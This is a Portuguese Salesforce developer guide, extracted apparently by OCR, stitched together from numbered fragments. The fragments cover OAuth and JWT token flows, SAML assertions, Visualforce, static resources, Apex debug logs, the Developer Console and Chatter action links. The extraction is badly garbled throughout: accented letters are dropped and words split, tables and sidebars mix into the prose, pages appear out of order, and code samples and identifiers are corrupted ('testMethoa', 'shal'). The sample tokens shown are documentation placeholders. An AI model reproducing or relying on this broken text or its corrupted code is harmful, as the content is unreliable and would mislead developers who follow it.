do cliente No momento s h suporte para o algoritmo RS256 Para obter mais informa es
138. v lido o usu rio redirecionado para o URL em quest o e Seo retorno ocauth definido na ChaveDeSolicita o for um URL v lido o usu rio ser redirecionado a esse URL O consumidor notificado de que a ChaveDeAcesso e o SegredoDaChaveDeAcesso est o dispon veis recebendo o token de verifica o do Salesforce ou o c digo de valida o do usu rio final Aprimorar o Salesforce com c digo Guia do usu rio Integra o de aplicativos com o Salesforce 200 Solicitando a ChaveDeAcesso Depois que o usu rio tiver sido autenticado o consumidor poder trocar uma ChaveDeSolicita o por uma ChaveDeAcesso Veja a seguir mais etapas detalhadas sobre a troca de tokens para desenvolvedores que est o usando um aplicativo conectado para solicitar dados do Salesforce 1 O consumidor faz uma solicita o HTTPS GET ou POST para https login salesforce com nc external system security oauth AccessTokenHandler com os par metros necess rios nos dados de consulta ou postados chave do consumidor oauth m todo de assinatura oauth assinatura oauth data e hora oauth chave oauth nonce oauth verificador oauth vers o oauth opcional deve ser 1 0 se inclu do 2 O Salesforce valida os seguintes elementos O segredo do consumidor A chave do consumidor A assinatura Se a ChaveDeSolicita o nunca foi usado antes Data e hora deve ser dentro de 15 minutos mais tr s minutos para permitir as diferen as entre os
139. valor que voc deseja dar ao campo Nome em sua defini o de p gina CONSULTE TAMB M Ativando o modo de desenvolvimento Exibindo e editando p ginas do Visualforce Criando guias do Visualforce Aprimorar o Salesforce com c digo Ativando o modo de desenvolvimento Embora seja poss vel exibir e editar as defini es de p gina do Visualforce na p gina P ginas do Visualforce na Configura o ativar o modo de desenvolvimento do Visualforce a melhor forma de criar p ginas do Visualforce O modo de desenvolvimento fornece o seguinte Um rodap de desenvolvimento especial em cada p gina do Visualforce que inclui o estado de exibi o da p gina qualquer controlador associado um link para a documenta o de refer ncia do componente e um editor de marca o de p gina que oferece destaques funcionalidade de localiza o e substitui o e sugest o autom tica para marca de componente e nomes de atributo A capacidade de definir novas p ginas do Visualforce simplesmente inserindo um URL exclusivo Mensagens de erro que incluem rastreamentos de pilha mais detalhados do que os recebidos pelos usu rios padr o Para ativar o modo de desenvolvimento do Visualforce 1 Em suas configura es pessoais insira Detalhes avan ados do usu rio na caixa Busca r pida e selecione Detalhes avan ados do usu rio Nenhum resultado Insira Informa es pessoais nacaixa Busca r pida eselecione Informa es pessoais C
140. vers es dos componentes personalizados e Personalizar aplicativo http minhainst nciadoSalesforce apexcomponent nomedonovocomponente onde o valor de minhainst nciadoSalesforce o nome de host de sua inst ncia do Salesforce por exemplo na3 salesforce com eo valor de nomedonovocomponente o valor do campo Nome na defini o do componente personalizado O componente exibido como se fosse uma p gina do Visualforce Como consequ ncia se o seu componente contar com atributos ou com o conte do do corpo da marca do componente esse URL pode gerar resultados inesperados Para testar de forma mais exata um componente personalizado adicione o a uma p gina do Visualforce e exiba a p gina CONSULTE TAMB M O que um componente personalizado Aprimorar o Salesforce com c digo Gerenciando componentes personalizados do Visualforce Depois de criar componentes personalizados voc poder exibi los edit los e exclu los Em Configura o insira Componentes nacaixa Busca r pida eselecione Componentes do Visualforce para exibir a p gina de lista Componentes que mostra a lista de componentes personalizados definidos para a sua organiza o Nessa p gina voc pode e Clicar em Novo para definir um novo componente personalizado e Clicar no nome de um componente personalizado para exibir informa es detalhadas sobre o componente e Clicar em Editar para modificar o nome ou a marca o de um componente
141. 0 Total Inventory 120 Apex trigger myMerchandiseTrigger caused an unexpected exception contact your administrator myMerchandiseTrigger execution of Beforelnsert caused by System NullPointerException Attempt to de reference a null object Required Information Help for this Page 7 Aprimorar o Salesforce com c digo Guia do usu rio Componentes do Lightning Apex Visualforce 55 Lidando com exce es do Apex nos pacotes gerenciados Ao criar um pacote gerenciado para o Force com AppExchange voc pode especificar um usu rio EDI ES para receber a notifica o por email quando houver uma exce o que n o tenha sido identificada pelo Apex As exce es n o identificadas podem ser geradas de Dispon vel em Salesforce e Uma a o ou m todo getter do Visualforce Classic e Um m todo do servi o da Web Dispon vel em Edi es e Umacionador Performance Unlimited uai Developer e Enterprise O email que enviado tem o seguinte formato P P PERMISS ES DO USU RIO Para criar pacotes e Criar pacotes do Force com AppExchange Para carregar pacotes e Carregar pacotes do Force com AppExchange Parar criar o Apex e Apex do autor CCEE Se css CSA Ss ssSscscscS s 2 cresc sas Assunto Exce o de script do desenvolvedor de NOME DA CLASSE Exce o de acionador de script do Apex n o tratada pelo usu rio organiza o ID DO USU RIO ID DA ORG S
142. 50 MB de recursos est ticos no total 6 Definao Controle de cache e Particular especifica que os dados do recurso est tico em cache no servidor do Salesforce n o devem ser compartilhados com outros usu rios O recurso est tico s armazenado em cache para a atual sess o do usu rio Nota Configura es de cache em recursos est ticos s o definidos como privados quando acessados por meio de um site Force com cujo perfil do usu rio convidado apresenta restri es com base no intervalo de IPs ou horas de login Sites com restri es do perfil de usu rio convidado armazenam em cache recursos est ticos apenas dentro do navegador Al m disso se um site n o restrito anteriormente se tornar restrito demorar at 45 dias para que os recursos est ticos expirem no cache do Salesforce e nos caches intermedi rios e P blico especifica que os dados do recurso est tico em cache no servidor do Salesforce podem ser compartilhados com outros usu rios da organiza o para um tempo menor de carregamento As especifica es do W3C sobre defini es do campo de cabe alho trazem mais informa es t cnicas sobre o controle de cache Nota Esse recurso s funciona para organiza es habilitadas pelo Sites que usam recursos est ticos 7 Clique em Salvar Cuidado Se voc estiver usando o WinZip n o deixe de instalar a vers o mais recente Vers es mais antigas do WinZip podem causar perda de dados CONSULTE T
143. 6 Cuidado Se voc executar uma consulta novamente as altera es n o salvas na grade Resultados da consulta ser o perdidas Para executar uma consulta novamente clique em Refresh Grid Atualizar grade ou clique na consulta no painel Hist rico e em Execute Executar Aprimorar o Salesforce com c digo Guia do usu rio Console do desenvolvedor 13 Para obter informa es sobre a sintaxe de consulta e pesquisa consulte a Refer ncia de SOQL e SOSL do Force com CONSULTE TAMB M Editor de consulta Recuperar planos de consulta Grade de Resultados da consulta Recuperar planos de consulta Use a ferramenta Plano de consulta para otimizar e acelerar as consultas realizadas em grandes quantidades de registros Visualize planos de consulta para consultas SOQL pesquisas SOSL relat rios e exibi es de lista Se h ndices personalizados dispon veis para a sua organiza o use planos de consulta para ajud lo a decidir quando solicitar um ndice personalizado do Suporte do Salesforce Para ativar o bot o Plano de consulta no Editor de consulta clique em Help Ajuda gt Preferences Prefer ncias defina Enable Query Plan Ativar plano de consulta como verdadeiro e clique em Save Salvar Para obter planos de consulta para consultas SOQL ou pesquisas SOSL insira a consulta e clique no bot o Query Plan Plano de consulta no Editor de consulta Ajanela Plano de consulta mostra todas as opera es de consulta e o cust
144. 8168398293E12foofoofoofoo display name Alan Van email admin 2060747062579699 com status created date null body null photos picture http nal salesforce com profilephoto 005 F thumbnail http nal salesforce com profilephoto 005 T urls enterprise http nal salesforce com services Soap c version 00Dx0000001T0zk metadata http nal salesforce com services Soap m version 00Dx0000001T0zk partner http nal salesforce com services Soap u version 00Dx0000001T0zk rest http nal salesforce com services data v version sobjects http nal salesforce com services data v version sobjects search http nal salesforce com services data v version search query http nal salesforce com services data v version query profile http nal salesforce com 005x0000001S2b9 active true user type STANDARD language en US locale en US utcOffset 28800000 last modified date 2010 06 28T20 54 09 000 0000 Ap s uma solicita o inv lida estas s o as poss veis respostas do Salesforce C digo de erro Problema na solicita o 403 forbidden HTTPS Required HTTP 403 forbidden Missing_OAuth_Token Est faltando a chave de acesso 403 forbidden Bad OAuth Token Chave de acesso inv lida Aprimorar o Salesforce com c digo C digo de erro 403 forbidden Wrong Org 404 not fou
145. A recompila o ocorrer quando o acionador for executado da pr xima vez ou quando um usu rio salvar o acionador novamente nos metadados Se um campo de pesquisa fizer refer ncia a um registro que foi exclu do o Salesforce limpar o valor do campo por padr o Voc tamb m pode como alternativa optar por evitar que registros sejam exclu dos se n o estiverem em um relacionamento de pesquisa CONSULTE TAMB M Gerenciar acionadores do Apex Gerenciando configura es de vers o para o Apex Executando o c digo do apex an nimo O Console do desenvolvedor permite que voc execute o c digo do Apex como outra maneira de gerar registros de depura o que cobrem uma l gica de aplicativo espec fica Permiss es necess rias ao usu rio Para executar an nimo no Apex Apex do autor A ferramenta Executar an nimo no Apex no Console do desenvolvedor executa o c digo do Apex inserido usando ExecuteAnonymous e gera um registro de depura o com os resultados da execu o Cuidado Se voc chamar uma classe que contenha um testMethoa todas as instru es DML do m todo de teste ser o executadas Essa a o poder adicionar dados indesejados sua organiza o 1 Clique em Debug Depurar gt Open Execute Anonymous Window Abrir janela executar an nimo para abrir a janela Inserir Apex code Enter Apex Code a x Integer intl 0 void myProcedurel myProcedure2 void myProcedure2
146. A seguir um exemplo de uma linha de registro de depura o Aprimorar o Salesforce com c digo Guia do usu rio Registros de depura o 277 Depurar o exemplo da linha de registro Time Stamp Event Identifier 14 49 59 037 37045000 USER DEBUG 2 DEBUG Hello World Neste exemplo o identificador do evento composto do seguinte e Nome do evento USER DEBUG e N mero de linhas do evento no c digo 2 e Onivel de registro do m todo System Debug foi definido como DEBUG e String fornecida pelo usu rio para o m todo System Debug Hello world O exemplo a seguir de uma linha de registro acionado por seu snippet de c digo Depurar snippet do c digo de linha do registro isTest private class TestHandleProductPriceChange static testMethod void testPriceChange Invoice Statement c invoice new Invoice Statement c status c Negotiating insert invoice mom A linha de registro a seguir gravada quando o teste atinge a linha 5 no c digo 15 51 01 071 55856000 DML BEGIN 5 Op Insert Type Invoice Statement cl Rows 1 Neste exemplo o identificador do evento composto do seguinte e Nome do evento DML BEGIN e Numero de linhas do evento no c digo 5 e Tipo de opera o DML Inserir Op Insert Aprimorar o Salesforce com c digo e Nome do objeto Type Invoice Statement C e Ontmero de linhas passadas na opera o DML Rows 1 Guia do us
147. A seguir est uma declara o de amostra lt xml version 1 0 encoding UTF 8 gt lt saml Assertion xmlns saml urn oasis names tc SAML 2 0 assertion ID _cd3649b3639560458bc9d9b33dfee8d21378409114655 IssueInstant 2013 09 05T19 25 14 6542 Version 2 0 gt lt saml Issuer Format urn oasis names tc SAML 2 0 nameid format entity xmlns saml urn oasis names tc SAML 2 0 assertion gt 3MVG9PhR6g 6B7ps4500RvVAVGGMimR_DT4kxXzVXOo6TTHF3Q01nmqOAstC92 4qSUiUeEDcuGV4tmAxyo fV8j lt saml Issuer gt lt ds Signature xmlns ds http www w3 org 2000 09 xmldsig gt lt ds SignedInfo gt lt ds CanonicalizationMethod Algorithm http www w3 0rg 2001 10 xml exc cl4n amp gt lt ds SignatureMethod Algorithm http www w3 org 2001 04 xmldsig more rsa sha256 gt lt ds Reference URI _cd3649b3639560458bc9d9b33dfee8d21378409114655 gt lt ds Transforms gt lt ds Transform Algorithm http www w3 org 2000 09 xmldsig enveloped signature gt lt ds Transform Algorithm http www w3 org 2001 10 xml exc cl4n gt lt ec InclusiveNamespaces xmlns ec http www w3 org 2001 10 xml exc cl4n PrefixList ds saml gt lt ds Transform gt lt ds Transforms gt lt ds DigestMethod Algorithm http www w3 org 2000 09 xmldsig shal gt lt ds DigestValue gt N8Dxy1lbIeNg8JDO87WIgXGkoIWA lt ds DigestValue gt lt ds Reference gt lt ds SignedInfo gt lt ds SignatureValue gt XV01FJrkhJykGYQbIs0JBFEHdt4pe29gBgitcXrsc
148. AMB M Exibindo e editando recursos est ticos O que um Recurso est tico Exibindo e editando recursos est ticos Em Configura o insira Recursos est ticos nacaixa Busca r pida selecione Recursos est ticos e clique no nome de um recurso para exibir os detalhes incluindo o tipo de MIME o tamanho do recurso em bytes al m de quando ele foi criado e modificado pela ltima vez Na p gina de detalhes poss vel executar as seguintes a es e Clicar em Editar para editar o recurso e Clicar em Excluir para excluir o recurso e Clicar em Clonar para criar uma c pia do recurso necess rio especificar um novo nome para o Novo recurso e Clicar em Onde usado a para exibir uma lista de todas as refer ncias ao recurso est tico em sua organiza o CONSULTE TAMB M Definindo recursos est ticos Gerenciando recursos est tico O que um Recurso est tico EDI ES Dispon vel em Salesforce Classic e Lightning Experience Dispon vel em Edi es Contact Manager Group Professional Enterprise Performance Unlimited e Developer PERMISS ES DO USU RIO Para clonar editar ou excluir recursos est ticos e Personalizar aplicativo Aprimorar o Salesforce com c digo Guia do usu rio Componentes do Lightning Apex Gerenciando recursos est tico Depois de criar recursos est ticos voc poder personaliz los edit los e exclu los Em Configura o insira Recur
149. API REST do Apex REST JSON XML Sincrono Personalizado API SOAP do Apex SOAP WSDL XML Sincrono API do conjunto de RESTouSOAP WSDL JSON XML Sincrono ferramentas Personalizado Quando usar a API REST Uma API REST oferece uma interface de servi os da Web baseada em REST avan ada conveniente e simples para interagir com o Salesforce Suas vantagens incluem facilidade de integra o e desenvolvimento Uma excelente op o de tecnologia para uso com aplicativos m veis e projetos Web No entanto se houver muitos registros para processar considere a possibilidade de usar a API em massa que baseada nos princ pios do REST e otimizada para grandes conjuntos de dados Quando usar a API SOAP Uma API SOAP oferece uma interface de servi os da Web baseada em SOAP avan ada conveniente e simples para interagir com o Salesforce Pode se usar a API SOAP para criar recuperar atualizar ou excluir registros Voc pode usar API SOAP para realizar pesquisas e muito mais Use a API SOAP em qualquer idioma que suporte servi os da Web Por exemplo voc pode usar a APISOAP para integrar o Salesforce aos sistemas ERP e financeiros da sua organiza o Tamb m poss vel fornecer informa es de suporte e vendas em tempo real aos portais da empresa e preencher os sistemas comerciais cr ticos com informa es dos clientes Quando usar a API REST do Chatter Use a API REST do Chatter para exibir dados do Salesforce principalmente em ap
150. ATIONS mero da linha e o n mero de itera es de BD INFORMA ES queryMore e acima SAVEPOINT ROLLBACK mero da linha e nome do Savepoint BD INFORMA ES e acima SAVEPOINT SET mero da linha e nome do Savepoint BD INFORMA ES e acima SLA END mero de casos tempo de carregamento n mero Fluxo de INFORMA ES de marcos de caso a serem rabalho e acima inseridos atualizado exclu dos e novo acionador SLA EVAL MILESTONE D do marco Fluxo de INFORMA ES rabalho e acima SLA NULL START DATE enhum Fluxo de INFORMA ES rabalho e acima Gl SLA PROCESS CAS D caso Fluxo de INFORMA ES rabalho e acima SOQL EXECUTE BEGIN mero da linha n mero de agrega es e origem BD INFORMA ES da consulta e acima Aprimorar o Salesforce com c digo Nome do evento SOOL END SOSL BEGIN SOSL END STAC STAT STAT SYSTEM CONSTRUCTOR ENTRY SYSTEM CONSTRUCTOR EXIT SYSTEM METHOD ENTRY SYSTEM METHOD EXIT SYSTEM MODE ENTER SYSTEM MODE EXIT TESTING LIMITS TOTAL EMAIL RECIPIENTS QUE K FRAME VARIABLE LIST IC VARIABLE LIST USER DEBUG Campos ou informa es registradas com o evento milissegundos milissegundos v
151. Assinatura HMAC SHA256 com codifica o Base64 assinada com a chave privada do consumidor contendo o ID concatenado e issued at Isso pode ser usado para verificar se o URL de identidade n o foi modificado desde que foi enviado pelo servidor e emitido em Quando a assinatura foi criada A seguir h um exemplo do callback do servidor Observe que a resposta est protegida por um hash e n o como par metros de consulta HTTP https www mysite com user callback jsp access token 00Dx0000000BV7z 21A R8AQBM8J xr9kLqmZIRyQxZgLcoM4HVi4laGtw0 qw3JCzf5xdTGGGSoVim8Ff JkZEqxbj aFbbe rKGk8v8AnYrvChG4qUbQo8 amp refresh token 5Aep8614iLM Dq66lePDmPEgaAW90h L3JKk DpB4xReb54 pZfVtildPEk8aimw4Hr 9ne7VXXVSIOS3Ds3D amp Einstance url https 3A 2F 2Fnal salesforce com amp id https 3A 2FS2Flogin salesforce com s2FidS2F00Dx000 O000BV7z 2F005x0000001209P amp issued_ at 1278448101416 amp signature miQQ1J4sdMPi duBsvyRYPCDozghe43KRc1li9LmZHR70 3D amp ascope id tapi refresh token amp token_ type Bearer amp state mystat Se o usu rio negar o acesso ou se ocorrer um erro durante essa etapa ele ser redirecionado parao uri de redirecionamento com um c digo de erro e a descri o do erro no URI ap s a marca de hash Esta n o uma string de consulta e erro Cddigo do erro e descri o do erro Descri o do erro com informa es adicionais tipo de resposta n o suportado tipo de resposta n o suportado id do client
152. Auth vers o 2 0 tem uma chave de acesso o m todo de uso da chave depende da API sendo usada e Para a API REST use um cabe alho de autoriza o HTTP com o seguinte formatoAuthorization Access Token portador e Para a API do SOAP o token de acesso colocado no cabe alho de autentica o de SOAP SessionHeader e Para o URL de identidade use um cabe alho de autoriza o HTTP como com a API REST ou use como um par metro HTTP oauth token EDI ES Dispon vel em Salesforce Classic Dispon vel em todas as edi es PERMISS ES DO USU RIO Para gerenciar criar editar e excluir aplicativos OAuth e Gerenciar aplicativos conectados Aprimorar o Salesforce com c digo Guia do usu rio Integra o de aplicativos com o Salesforce 229 Obtendo e verificando um token de ID O Salesforce pode responder a uma solicita o do OAuth com um token de ID em conformidade EDICOES com as especifica es do OpenID Connect Tanto o fluxo do agente do usu rio do OAuth 2 0 quanto o fluxo de autentica o do servidor da Web do OAuth 2 0 podem solicitar um token de ID assinado caso o par metro de escopo da solicita o inclua openid O token retornado um token portador JSON JWT e Ofluxo de autentica o do agente do usu rio deve incluir o par metro response type comovalor token id token o escopo openid eo par metro nonce Dispon vel em Salesforce Classic Dispon vel em todas as edi es
153. Bindings BearerToken A E Cancel Position Label Key Label Required Information User Everyone can see M Visibility Custom User Alias A solicita o da API REST do Chatter para instanciar o grupo de links de a o e definir os valores das vari veis vinculantes POST connect action link group definitions templateId 07gD00000004C9r templateBindings key ApiVersion value v1l 0 key ItemNumber value 8675309 key BearerToken value 0O0DRR0000000N0Og AROAQMZyOtsP1Gs27EZ8h17vdpYXH505rv1lVNpraqTeD12xYnvygD3JgPnNR Aprimorar o Salesforce com c digo Guia do usu rio Integra o de aplicativos com o Salesforce 142 Este o Apex code que instancia o grupo de links de a o a partir do modelo e define os valores das vari veis vinculantes Get the action link group template Id ActionLinkGroupTemplate template SELECT Id FROM ActionLinkGroupTemplate WHERE DeveloperName Doc Example Add binding name value pairs to a map Map lt String String gt bindingMap new Map lt String String gt bindingMap put ApiVersion 1 0 bindingMap put ItemNumber 8675309 bindingMap put BearerToken 00DRR0000000N0g AROAQMZyOtsP1Gs27EZ8h17vdpYXH505rvlVNprqTeD12xYnvygD3JgPnNR Create ActionLinkTemplateBindingInput objects from the map elements List lt ConnectApi ActionLinkTemplat
154. Bytes 17 13 13 39 141 SYSTEM METHO 1 LIST lt String gt add Object 13 13 39 141 SYSTEM METHO 1 LIST lt String gt add Object 13 13 39 141 HEAP ALLOCATE 1 Bytes 9 13 13 39 142 SYSTEM METHO 1 LIST lt String gt add Object Es lt i mo mm l This Frame _ Executable _ Debug Only Filter e Analysis An lise Uma perspectiva projetada para an lise de registro que inclui os pain is rvore de pilha Pilha de execu o Registro de execu o e Vis o geral de execu o Aprimorar o Salesforce com c digo Guia do usu rio Depura o com o uso do console do desenvolvedor 270 Execution Tree Performance Tree Timestamp Event Details Unit Duration Heap 13 13 39 084 EXECUTION ST fa ui common apex debu 105 36 2540 13 13 39 084 CODE UNIT ST EXTERNAL execute anonymous apex Lg 13 13 39 084 VARIABLE SCO 1 characters LIST lt String gt true false 13 13 39 140 HEAP ALLOCATE EXTERNAL Bytes 7 Es Unit Duration Heap 13 13 39 140 STA E UI debug 0 10 0 A 13 13 39 140 STATEMENT EX J o 0 10 o g 13 13 39 140 HEAP_ALLOCATE 1 Bytes 4 s aas E iram cem comem room debug 0 13 o E This Frame E Executable 7 Debug Only E Filter rer the log Save Order Limits Timeline Executed Units _ What Name Sum Avg Max Min Count Heap Query Type Sumrows Avg rows Max rows Min row Method s
155. Componentes do Lightning Apex Visualforce 25 Mensagem envie um email para n s Voc esqueceu sua senha Digite seu nome de usu rio abaixo Erro 0 Erro Arquivo n o encontrado Senha esquecida Confirma o de senha esquecida Esqueceu sua senha lt a href 0 gt 1 lt a gt se voc precisar entrar em contato Ir para a p gina de login img sites Parado para manuten o Limite excedido Login Login Voc deve primeiro fazer login ou se registrar antes de acessar esta p gina Logout Nova senha Novo usu rio Senha antiga P gina n o encontrada P gina n o encontrada 0 Senha As senhas n o correspondem Possibilitado por Inscri o Confirma o da inscri o Login no site Site em constru o Aprimorar o Salesforce com c digo R tulo sorry for inconvenience sorry for inconvenience back shortly stay tuned submit temp password sent thank you for registering under construction user registration username verify new password Guia do usu rio Componentes do Lightning Apex Visualforce 26 Mensagem Desculpe pela inconveni ncia Desculpe pela inconveni ncia Voltaremos em breve Fique ligado Enviar Foi lhe enviado um email com sua senha tempor ria Obrigado por se registrar Foi lhe enviado um email com sua senha tempor ria lt i gt 0 lt i gt est sob constru o Inscri o de novo usu rio Nome do usu rio Verificar nova senha
156. Data use o seguinte lt apex pageBlock rendered SPermission canSeeExecutiveData gt lt Executive Data Here gt lt apex pageBlock gt Permission aparece apenas se as permiss es personalizadas tiverem sido criadas na sua organiza o Tipo de campo de mesclagem global a ser usado para fazer refer ncia a informa es sobre o perfil do usu rio atual Use os campos de mesclagem de perfil para fazer refer ncia a informa es sobre o perfil do usu rio como o tipo de licen a ou o nome 1 Selecione o tipo de dados Profile 2 Selecione um campo de mesclagem como SProfile Name Aprimorar o Salesforce com c digo Guia do usu rio Componentes do Lightning Apex Visualforce 30 Exemplo de regra de A f rmula de regra de valida o abaixo faz refer ncia ao nome do perfil do usu rio atual para assegurar que valida o somente o propriet rio do registro ou usu rios com este perfil possam fazer altera es em um campo personalizado chamadoMeta pessoal AND ISCHANGED Personal Goal cc Owner lt gt SUser Id Profile Name lt gt Custom System Admin Exemplo de fluxo Para identificar o perfil do usu rio em execu o crie uma f rmula de fluxo Text com a seguinte express o Profile Name Referenciando essa formula voc evita o uso de uma consulta elementos Pesquisa e economiza nos limites Exemplos do Para apresentar o perfil do usu rio atual use o seguinte Visualf
157. Dispon vel em Enterprise Performance Unlimited Developer e Database com Editions PERMISS ES DO USU RIO Para definir editar excluir definir a seguran a definir as configura es da vers o mostrar depend ncias e executar testes de classes do Apex e Apex do autor e New Run Nova execu o cria uma execu o de teste Para obter detalhes consulte Criar uma execu o de teste e Executar novamente executa o teste selecionado na guia Testes Aprimorar o Salesforce com c digo Guia do usu rio Executando testes no console do desenvolvedor 296 e Executar testes com falha novamente para executar novamente somente os testes que falharam da execu o de teste destacada na guia Testes escolha esta op o e Run All Executar todos Executa todas as execu es de teste salvas e Abort Anular Anula o teste selecionado na guia Tests Testes e Collapse All Recolher tudo Recolhe todos os testes abertos na guia Tests Testes e Expand All Expandir tudo Expande todos os testes na guia Tests Testes e Clear Test Data Limpar dados de teste Limpa os dados de teste atuais e os resultados de cobertura de c digo Test Workspacer Help lt E Always Run Asynchronously New Run Rerun Rerun Failed Tests Run All Abort Collapse All Expand All Clear Test Data Os testes concluidos sdo listados na guia Tests Testes no painel inferior do Console do desenvolvedor
158. Edition para controlar o acesso de todos os usu rios ao aplicativo conectado Al m disso os pacotes de aplicativos conectados gerenciados pelo Salesforce como os aplicativos do Salesforce1 para download n o podem ser desinstalados Eles s o atualizados automaticamente quando a pr xima sess o do usu rio atualizada Aplicativos conectados s podem ser adicionados a pacotes gerenciados N o h suporte para Aplicativos conectados em pacotes n o gerenciados CONSULTE TAMB M Criando um Aplicativo conectado Editar empacotar ou excluir um aplicativo conectado https na1 salesforce com help pdfs en salesforce_identity_implementation_guide pdf Aprimorar o Salesforce com c digo Criando um Aplicativo conectado PERMISS ES DO USU RIO Para ler Personalizar aplicativo Para criar atualizar ou excluir Personalizar aplicativo E Modificar todos os dados OU Gerenciar aplicativos conectados Para atualizar todos os campos com exce o de Perfis Conjuntos de permiss es e Atributos de SAML do provedor de servi os Personalizar aplicativo Para atualizar Perfis Conjuntos de Personalizar aplicativo E Modificar todos permiss es e Atributos de SAML do provedor os dados de servi os Para desinstalar Fazer download de pacotes do AppExchange Para criar um aplicativo conectado 1 Em Configura o insira Aplicativos nacaixa Busca r pida eselecione Aplicativos 2
159. Empacote modelos de link de a o para distribu los a outras organiza es Salesforce Quando voc adiciona um modelo de grupo de links de a o todos os modelos de link de a o associados s o tamb m adicionados ao pacote poss vel adicionar um modelo de grupo de links de a o a um pacote gerenciado ou n o gerenciado Como componente que pode ser empacotado os modelos de grupo de links de a o tamb m podem aproveitar todos os recursos de pacotes gerenciados como listagem no AppExchange upgrade autom tico scripts de Apex p s instala o gerenciamento de licen as e suporte aprimorado ao assinante Para criar um pacote gerenciado voc deve usar uma organiza o do Developer Edition e Consulte Cria o e edi o de um pacote em https help salesforce com Guia do usu rio Integra o de aplicativos com o Salesforce 153 EDICOES Disponivel em Salesforce Classic e Lightning Experience Disponivel em Todas as edi es exceto Personal Edition PERMISS ES DO USU RIO Para empacotar modelos de link de a o e Criar pacote do AppExchange Usar o Sistema para gerenciamento de identidades em v rios dominios SCIM O Salesforce oferece suporte para a especifica o de padr o aberto 1 1 do SCIM para o gerenciamento de identidades em v rios dom nios e oferece algumas extens es para essa especifica o de modo que voc possa editar e gerenciar as propriedades do usu rio usand
160. FLOW START INTERVIEW FLOW START INTERVIEW EGIN FLOW START INTERVIEWS B EGIN FLOW START INTERVIEWS T FLOW START INTERVIEWS END RROR Guia do usu rio Registros de depura o 280 Campos ou informa es registradas com o evento Tipo e nome do elemento D de entrevista tipo de elemento e nome do elemento ensagem tipo de elemento e nome do elemento exce o de tempo de execu o do fluxo ensagem tipo de elemento e nome do elemento spark n o encontrado ensagem tipo de elemento e nome do elemento exce o do designer ensagem tipo de elemento e nome do elemento limite do designer excedido ensagem tipo de elemento e nome do elemento exce o de tempo de execu o do designer ensagem tipo de elemento e nome do elemento caminho incorreto utilizado D da entrevista nome do fluxo e motivo pelo qual o usu rio pausou D de entrevista e nome do fluxo D de entrevista indice e valor O indice a posi o na vari vel da cole o para o item no qual o loop est operando D de entrevista nome da regra e resultado D de entrevista e nome do fluxo D de entrevista e nome do fluxo Solicita es Solicita es Mensagem ID de entrevista e nome do fluxo Categoria N vel registrada registrado rabalh rabalh rabalh rabalh rabalh rabalh rabalh
161. Force com Digitea URL do aplicativo da tela no aplicativo de terceiro O usu rio direcionado a esse URL quando clica no link para o seu aplicativo de tela Selecione um M todo de acesso Isso especifica como o aplicativo de tela inicia o fluxo de autentica o OAuth e Solicita o assinada POST A autentica o OAuth usada mas quando o administrador instala o aplicativo de tela ele permite acesso para usu rios implicitamente Ent o o usu rio n o ser solicitado a permitir que o terceiro acesse suas informa es de usu rio Quando voc usa esse m todo de acesso a autentica o publicada diretamente no URL do aplicativo de tela Se seu aplicativo de tela usa autentica o por solicita o assinada certifique se de n o selecionar Fazer solicita es em seu nome a qualquer momento em Escopos OAuth selecionados e OAuth Webflow GET A autentica o OAuth usada e o usu rio recebe a solicita o de permitir que o aplicativo de terceiro acesse suas informa es Quando voc usa esse m todo de acesso o aplicativo de tela deve iniciar o fluxo de autentica o de OAuth Se voc estiver usando o login nico SSO no SAML para autenticar o aplicativo de tela selecione o campo M todo de in cio do SAML Esse campo ativado se voc seleciona Ativar SAML na se o Configura es do aplicativo da Web As op es para esse campo s o e Iniciado pelo provedor de identidade o Salesforce faz a so
162. Guia do usu rio Integra o de aplicativos com o Salesforce 192 Nota As credenciais nomeadas n o funcionam com as chamadas da API SOAP Se estiver implementando um fluxo personalizado n o fornecido pelo Salesforce para um sistema de terceiros usando a API SOAP crie um espa o reservado nomeado credencial para reservar o espa o para permitir que o assistente avance para a pr xima etapa No seu fluxo personalizado use o plugin do Apex para passar as credenciais usando os par metros de entrada provenientes do fluxo CONSULTE TAMB M Provisionamento de usu rios para aplicativos conectados Criando um Aplicativo conectado https developer salesforce com docs atlas en us apexcode meta apexcode Criar provisionamento de usu rios para relat rios personalizados de aplicativos conectados Gerenciar solicita es de provisionamento de usu rios PERMISS ES DO USU RIO Para ler Personalizar aplicativo Para criar atualizar ou excluir Personalizar aplicativo E Modificar todos os dados OU Gerenciar aplicativos conectados Para atualizar todos os campos com exce o de Perfis Conjuntos de permiss es e Atributos de SAML do provedor de servi os Personalizar aplicativo Para atualizar Perfis Conjuntos de Personalizar aplicativo E Modificar todos permiss es e Atributos de SAML do provedor os dados de servi os Para desinstalar Fazer download de pacotes do AppExchan
163. HTTP Accepts e scope O escopo n o suportado neste fluxo O valor desse par metro a combina o de escopos das aprova es anteriores Aprimorar o Salesforce com c digo Guia do usu rio Integra o de aplicativos com o Salesforce 210 Veja aqui um exemplo da solicita o de token POST services oauth2 token HTTP 1 1 Host login example com Content Type application x www form urlencoded grant type urn 3Aietf 3Aparams 3Aoauth 3Agrant type33Ajwt bearer amp assertion eyJpc3MiOiAiMOIWRZ omitted for brevityl ZT Servidor valida o token Ap s a verifica o da solicita o o Salesforce envia uma resposta para o cliente As respostas de token do fluxo de token portador JWT do OAuth 2 0 seguem o mesmo formato que os fluxos authorization code embora n o seja emitido um refresh token Uma solicita o de declara o portadora JWT do OAuth 2 0 examina todas as aprova es anteriores do usu rio que incluam o refresh token Se forem encontradas aprova es correspondentes os valores dos escopos aprovados ser o combinados e um access token emitido com um valor de token type Portador Se nenhuma aprova o anterior incluiu um refresh token nenhum escopo aprovado est dispon vel e a solicita o falha como n o autorizada Se voc est implantando para uma comunidade o valor sfdc community id no ponto final de token cont m o ID de comunidade que pode ser exigido em solicita es da API REST do C
